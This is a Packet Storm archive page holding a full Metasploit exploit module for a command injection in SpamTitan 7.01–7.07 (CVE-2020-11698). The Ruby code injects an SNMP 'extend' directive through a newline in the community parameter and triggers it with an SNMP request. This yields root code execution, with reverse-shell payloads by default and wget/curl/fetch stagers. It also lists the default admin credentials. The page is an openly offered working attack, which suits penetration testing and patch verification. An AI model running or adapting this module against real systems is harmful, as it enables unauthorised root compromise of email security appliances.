exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SpamTitan 7.07 Command Injection

SpamTitan 7.07 Command Injection
Posted Jan 5, 2021
Authored by Christophe de la Fuente, Felipe Molina | Site metasploit.com

This Metasploit module exploits an improper input sanitization in SpamTitan versions 7.01, 7.02, 7.03 and 7.07 to inject command directives into the SNMP configuration file and get remote code execution as root. Note that only version 7.03 needs authentication and no authentication is required for versions 7.01, 7.02 and 7.07.

tags | exploit, remote, root, code execution
advisories | CVE-2020-11698
SHA-256 | cc011f3d97e6e780eac9a8ecaf045f486a51374234b82311aea352d9a57efef0

SpamTitan 7.07 Command Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::SNMPClient
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'SpamTitan Unauthenticated RCE',
'Description' => %q{
TitanHQ SpamTitan Gateway is an anti-spam appliance that protects against
unwanted emails and malwares. This module exploits an improper input
sanitization in versions 7.01, 7.02, 7.03 and 7.07 to inject command directives
into the SNMP configuration file and get remote code execution as root. Note
that only version 7.03 needs authentication and no authentication is required
for versions 7.01, 7.02 and 7.07.

First, it sends an HTTP POST request to the `snmp-x.php` page with an `SNMPD`
command directives (`extend` + command) passed to the `community` parameter.
This payload is then added to `snmpd.conf` by the application. Finally, the
module triggers the execution of this command by querying the SNMP server for
the correct OID.

This exploit module has been successfully tested against versions 7.01, 7.02,
7.03, and 7.07.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Christophe De La Fuente', # MSF module
'Felipe Molina' # original PoC
],
'References' =>
[
[ 'EDB', '48856' ],
[ 'URL', 'https://www.titanhq.com/spamtitan/spamtitangateway/'],
[ 'CVE', '2020-11698']
],
'CmdStagerFlavor' => %i[fetch wget curl],
'Payload' => {
'DisableNops' => true
},
'Targets' =>
[
[
'Unix In-Memory',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
'Payload' => {
'BadChars' => "\\'#",
'Encoder' => 'cmd/perl',
'PrependEncoder' => '/bin/tcsh -c \'',
'AppendEncoder' => '\'#',
'Space' => 470
},
'Type' => :unix_memory
}
],
[
'FreeBSD Dropper (x64)',
{
'Platform' => 'bsd',
'Arch' => [ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' },
'Payload' => {
'BadChars' => "'#",
'Space' => 450
},
'Type' => :bsd_dropper
}
],
[
'FreeBSD Dropper (x86)',
{
'Platform' => 'bsd',
'Arch' => [ARCH_X86],
'DefaultOptions' => { 'PAYLOAD' => 'bsd/x86/shell_reverse_tcp' },
'Payload' => {
'BadChars' => "'#",
'Space' => 450
},
'Type' => :bsd_dropper
}
]
],
'DisclosureDate' => '2020-04-17',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
Opt::RPORT(80, true, 'The target HTTP port'),
OptPort.new('SNMPPORT', [ true, 'The target SNMP port (UDP)', 161 ]),
OptString.new('TARGETURI', [ true, 'The base path to SpamTitan', '/' ]),
OptString.new(
'USERNAME',
[
false,
'Username to authenticate, if required (depending on SpamTitan Gateway version)',
'admin'
]
),
OptString.new(
'PASSWORD',
[
false,
'Password to authenticate, if required (depending on SpamTitan Gateway version)',
'hiadmin'
]
),
OptString.new(
'COMMUNITY',
[
false,
'The SNMP Community String to use (random string by default)',
Rex::Text.rand_text_alpha(8)
]
),
OptString.new(
'ALLOWEDIP',
[
false,
'The IP address that will be allowed to query the injected `extend` '\
'command. This IP will be added to the SNMP configuration file on the '\
'target. This is tipically this host IP address, but can be different if '\
'your are in a NAT\'ed network. If not set, `LHOST` will be used '\
'instead. If `LHOST` is not set, it will default to `127.0.0.1`.'
]
),
], self.class
)
end

def check
snmp_x_uri = normalize_uri(target_uri.path, 'snmp-x.php')
vprint_status("Check if #{snmp_x_uri} exists")
res = send_request_cgi(
'uri' => snmp_x_uri,
'method' => 'GET'
)

if res.nil?
return Exploit::CheckCode::Unknown.new(
"Could not connect to SpamTitan vulnerable page (#{snmp_x_uri}) - no response"
)
end

if res.code == 302
vprint_status(
'This version of SpamTitan requires authentication. Trying with the '\
'provided credentials.'
)
res = send_request_cgi(
'uri' => '/index.php',
'method' => 'POST',
'vars_post' => {
'jaction' => 'none',
'language' => 'en_US',
'address' => datastore['USERNAME'],
'passwd' => datastore['PASSWORD']
}
)
if res.nil?
return Exploit::CheckCode::Safe.new('Unable to authenticate - no response')
end

if res.code == 200 && res.body =~ /Invalid username or password/
return Exploit::CheckCode::Safe.new(
'Unable to authenticate - Invalid username or password'
)
end
unless res.code == 302
return Exploit::CheckCode::Unknown.new(
"Unable to authenticate - Unexpected HTTP response code: #{res.code}"
)
end

# For whatever reason, the web application sometimes returns multiple
# PHPSESSID cookies and only the last one is valid. So, make sure only
# the valid one is part of the cookie_jar.
cookies = res.get_cookies.split(' ')
php_session = cookies.select { |cookie| cookie.starts_with?('PHPSESSID=') }.last
cookie_jar.clear
cookie_jar.add(php_session)
remaining_cookies = cookies.delete_if { |cookie| cookie.starts_with?('PHPSESSID=') }
cookie_jar.merge(remaining_cookies)

res = send_request_cgi(
'uri' => snmp_x_uri,
'method' => 'GET'
)
end

unless res.code == 200
return Exploit::CheckCode::Safe.new(
"Could not connect to SpamTitan vulnerable page (#{snmp_x_uri}) - "\
"unexpected HTTP response code: #{res.code}"
)
end

Exploit::CheckCode::Appears
rescue ::Rex::ConnectionError => e
vprint_error("Connection error: #{e}")
return Exploit::CheckCode::Unknown.new(
"Could not connect to SpamTitan vulnerable page (#{snmp_x_uri})"
)
end

def exploit
if target['Type'] == :unix_memory
execute_command(payload.encoded)
else
execute_cmdstager(linemax: payload_info['Space'].to_i, noconcat: true)
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end

def inject_payload(community)
snmp_x_uri = normalize_uri(target_uri.path, 'snmp-x.php')
print_status("Send a request to #{snmp_x_uri} and inject the payload")

post_params = {
'jaction' => 'saveAll',
'contact' => 'CONTACT',
'name' => 'SpamTitan',
'location' => 'LOCATION',
'community' => community
}

# First, grab the CSRF token, if any (depending on the version)
res = send_request_cgi(
'uri' => '/snmp.php',
'method' => 'GET'
)
if res.code == 200
doc = ::Nokogiri::HTML(res.body)
csrf_name = doc.xpath('//input[@name=\'CSRFName\']/attribute::value').first&.value
csrf_token = doc.xpath('//input[@name=\'CSRFToken\']/attribute::value').first&.value
if csrf_name && csrf_token
print_status('CSRF token found')
post_params['CSRFName'] = csrf_name
post_params['CSRFToken'] = csrf_token
end
end

res = send_request_cgi(
'uri' => snmp_x_uri,
'method' => 'POST',
'vars_post' => post_params
)
if res.nil?
fail_with(Failure::Unreachable,
"#{peer} - Unable to inject the payload - no response")
end
unless res.code == 200
fail_with(Failure::UnexpectedReply,
"#{peer} - Unable to inject the payload - unexpected HTTP response "\
"code: #{res.code}")
end
begin
json_res = JSON.parse(res.body)['success']
rescue JSON::ParserError
json_res = nil
end
unless json_res
fail_with(Failure::UnexpectedReply,
"#{peer} - Unable to inject the payload - Unknown error: #{res.body}")
end
end

def trigger_payload(name)
print_status('Send an SNMP Get-Request to trigger the payload')

# RPORT needs to be specified since the default value is set to the web
# service port.
connect_snmp(true, 'RPORT' => datastore['SNMPPORT'])
begin
res = snmp.get("1.3.6.1.4.1.8072.1.3.2.3.1.1.8.#{name.bytes.join('.')}")
msg = "SNMP Get-Request response (status=#{res.error_status}): "\
"#{res.each_varbind.map(&:value).join('|')}"
if res.error_status == :noError
vprint_good(msg)
else
vprint_error(msg)
end
rescue SNMP::RequestTimeout, IOError
# not always expecting a response here, so timeout is likely to happen
end
end

def execute_command(cmd, _opts = {})
if target['Type'] == :bsd_dropper
# 'tcsh' is the default shell on FreeBSD
# Also, make sure it runs in background (&) to avoid blocking
cmd = "/bin/tcsh -c '#{[cmd.gsub('\'', '\\\\\'').gsub('\\', '\\\\\\')].shelljoin}&'#"
end
name = Rex::Text.rand_text_alpha(8)
ip = datastore['ALLOWEDIP'] || datastore['LHOST'] || '127.0.0.1'
if ip == '127.0.0.1'
print_warning(
'Neither ALLOWEDIP and LHOST has been set and 127.0.0.1 will be used'\
'instead. It will probably fail to trigger the payload.'
)
end

# The injected payload consists of two lines:
# 1. the community string and the IP address allowed to query this
# community string
# 2. the `extend` keyword, the name token used to trigger the payload
# and the actual command to execute
community = "#{datastore['COMMUNITY']}\" #{ip}\nextend #{name} #{cmd}"
inject_payload(community)

# The previous HTTP POST request made the application restart the SNMPD
# service. So, wait a bit to make sure it is running.
sleep(2)

trigger_payload(name)
end
end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close